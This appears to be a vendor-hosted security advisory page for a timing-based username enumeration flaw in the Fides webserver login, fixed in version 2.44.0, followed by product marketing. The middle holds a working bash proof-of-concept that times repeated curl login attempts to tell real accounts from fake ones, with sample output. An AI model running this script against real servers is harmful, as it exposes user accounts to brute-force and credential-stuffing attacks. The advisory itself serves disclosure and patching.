GHSA-2h46-8gf5-fmxv — ethyca-fides
GHSA-2h46-8gf5-fmxv is a CWE-208 vulnerability in ethyca-fides. 1 public exploit reference exists, so weaponization risk is real. A fix is available for ethyca-fides — see the affected versions and patch details below.
Timing-Based Username Enumeration Vulnerability in Fides Webserver Authentication
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2h46-8gf5-fmxv.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
ethyca-fidesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
A timing-based username enumeration vulnerability has been identified in Fides Webserver authentication. This vulnerability allows an unauthenticated attacker to determine the existence of valid usernames by analyzing the time it takes for the server to respond to login requests. The discrepancy in response times between valid and invalid usernames can be leveraged to enumerate users on the system.
Impact
This vulnerability enables a timing-based username enumeration attack. An attacker can systematically guess and verify which usernames are valid by measuring the server's response time to authentication requests. This information can be used to conduct further attacks on authentication such as password brute-forcing and credential stuffing.
Patches
The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.
Workarounds
There are no workarounds.
Proof of Concept
- Create a valid user called
valid_useron a remote Fides server. Ensure that there is no user on the server namedinvalid_user. Note that this vulnerability is not reproducible on a local deployment due to the extremely low latency of responses to login requests. - In a terminal run
export LOGIN_URL='https://example.com/api/v1/login', replacingexample.comwith your remote Fides server's domain or IP address. - In the same terminal run
exploit-poc.sh(detailed below). - It's possible to distinguish between valid and invalid users based on the low latency (time difference) for invalid users.
#!/bin/bash
# Function to test login and calculate average transfer times
test_login(){
echo -e "\nTesting login for user: $1\n"
total_diff=0
for (( i=1; i <= 20; ++i ))
do
echo -n "Attempt #$i: "
resp=$(curl -w @- "$LOGIN_URL" \
-H 'content-type: application/json' \
--data-raw '{"username":"'$1'","password":"d3JvbmdwYXNzd29yZA=="}' \
-o /dev/null -s <<'EOF'
{
"pretransfer": %{time_pretransfer},
"starttransfer": %{time_starttransfer}
}
EOF
)
pre=$(echo $resp | jq '.pretransfer')
start=$(echo $resp | jq '.starttransfer')
diff=$(echo "$start - $pre" | bc)
# Accumulate total diff
total_diff=$(echo "$total_diff + $diff" | bc)
# Print the result of this iteration
printf "Pretransfer: %.4f, Starttransfer: %.4f, Diff: %.4f\n" "$pre" "$start" "$diff"
done
# Calculate average diff
avg_diff=$(echo "scale=4; $total_diff / 20" | bc)
# Print average time
echo -e "\nAverage Time Difference for $1: $avg_diff seconds\n"
}
# Ensure that LOGIN_URL is set
if [ -z "$LOGIN_URL" ]; then
echo "Error: LOGIN_URL environment variable is not set."
exit 1
fi
# Test valid and invalid users
test_login valid_user
test_login invalid_user
</details>
<details>
<summary>Sample script run</summary>
~ ❯ ./exploit-poc.sh
Testing login for user: valid_user
Attempt #1: Pretransfer: 0.3006, Starttransfer: 0.7404, Diff: 0.4398
Attempt #2: Pretransfer: 0.2755, Starttransfer: 1.2506, Diff: 0.9751
Attempt #3: Pretransfer: 0.2595, Starttransfer: 0.7108, Diff: 0.4512
Attempt #4: Pretransfer: 0.2551, Starttransfer: 1.0483, Diff: 0.7932
Attempt #5: Pretransfer: 0.2553, Starttransfer: 0.6680, Diff: 0.4127
Attempt #6: Pretransfer: 0.2599, Starttransfer: 0.6712, Diff: 0.4113
Attempt #7: Pretransfer: 0.2518, Starttransfer: 0.6603, Diff: 0.4085
Attempt #8: Pretransfer: 0.2467, Starttransfer: 0.6812, Diff: 0.4344
Attempt #9: Pretransfer: 0.2502, Starttransfer: 0.8175, Diff: 0.5673
Attempt #10: Pretransfer: 0.2583, Starttransfer: 0.6904, Diff: 0.4321
Attempt #11: Pretransfer: 0.2573, Starttransfer: 0.6601, Diff: 0.4029
Attempt #12: Pretransfer: 0.2481, Starttransfer: 0.8495, Diff: 0.6014
Attempt #13: Pretransfer: 0.2487, Starttransfer: 0.6822, Diff: 0.4336
Attempt #14: Pretransfer: 0.2526, Starttransfer: 0.9728, Diff: 0.7201
Attempt #15: Pretransfer: 0.2573, Starttransfer: 0.9808, Diff: 0.7235
Attempt #16: Pretransfer: 0.2459, Starttransfer: 0.6536, Diff: 0.4078
Attempt #17: Pretransfer: 0.2508, Starttransfer: 0.9024, Diff: 0.6517
Attempt #18: Pretransfer: 0.2477, Starttransfer: 2.2049, Diff: 1.9572
Attempt #19: Pretransfer: 0.2523, Starttransfer: 2.1087, Diff: 1.8564
Attempt #20: Pretransfer: 0.2523, Starttransfer: 0.7308, Diff: 0.4785
Average Time Difference for valid_user: .6779 seconds
Testing login for user: invalid_user
Attempt #1: Pretransfer: 0.2496, Starttransfer: 0.4122, Diff: 0.1626
Attempt #2: Pretransfer: 0.2551, Starttransfer: 0.4049, Diff: 0.1498
Attempt #3: Pretransfer: 0.2480, Starttransfer: 0.6174, Diff: 0.3694
Attempt #4: Pretransfer: 0.2489, Starttransfer: 0.4611, Diff: 0.2122
Attempt #5: Pretransfer: 0.2513, Starttransfer: 0.4601, Diff: 0.2088
Attempt #6: Pretransfer: 0.2540, Starttransfer: 0.3946, Diff: 0.1406
Attempt #7: Pretransfer: 0.2504, Starttransfer: 0.9104, Diff: 0.6599
Attempt #8: Pretransfer: 0.2577, Starttransfer: 0.4095, Diff: 0.1518
Attempt #9: Pretransfer: 0.2497, Starttransfer: 0.3851, Diff: 0.1353
Attempt #10: Pretransfer: 0.2548, Starttransfer: 0.4024, Diff: 0.1476
Attempt #11: Pretransfer: 0.2559, Starttransfer: 0.4002, Diff: 0.1443
Attempt #12: Pretransfer: 0.2501, Starttransfer: 0.4075, Diff: 0.1573
Attempt #13: Pretransfer: 0.2560, Starttransfer: 0.3921, Diff: 0.1361
Attempt #14: Pretransfer: 0.2493, Starttransfer: 0.3933, Diff: 0.1440
Attempt #15: Pretransfer: 0.2493, Starttransfer: 0.3942, Diff: 0.1449
Attempt #16: Pretransfer: 0.2599, Starttransfer: 0.5111, Diff: 0.2512
Attempt #17: Pretransfer: 0.2455, Starttransfer: 0.4128, Diff: 0.1673
Attempt #18: Pretransfer: 0.2558, Starttransfer: 1.7535, Diff: 1.4977
Attempt #19: Pretransfer: 0.2515, Starttransfer: 1.4528, Diff: 1.2013
Attempt #20: Pretransfer: 0.2483, Starttransfer: 0.3893, Diff: 0.1410
Average Time Difference for invalid_user: .3161 seconds
~ ❯
</details>
Severity
This vulnerability has been assigned a severity of LOW.
Using CVSS v3.1 it could be scored asAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (5.3 Medium/Moderate) or AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N (0.0 None) depending on the Confidentiality impact metric used.
In Bugcrowd's vulnerability rating taxonomy it most likely be assigned a technical severity of P4 (Low) Broken Access Control (BAC) > Username/Email Enumeration > Non-Brute Force.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | ethyca-fides | all versions | 2.44.0pip install --upgrade 'ethyca-fides==2.44.0' |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ethyca-fides, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ethyca-fides to 2.44.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2h46-8gf5-fmxv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-2h46-8gf5-fmxv can be triaged on real exposure rather than presence alone.
Tailored to GHSA-2h46-8gf5-fmxv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2h46-8gf5-fmxv in your dependencies?
O3 Security finds GHSA-2h46-8gf5-fmxv across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.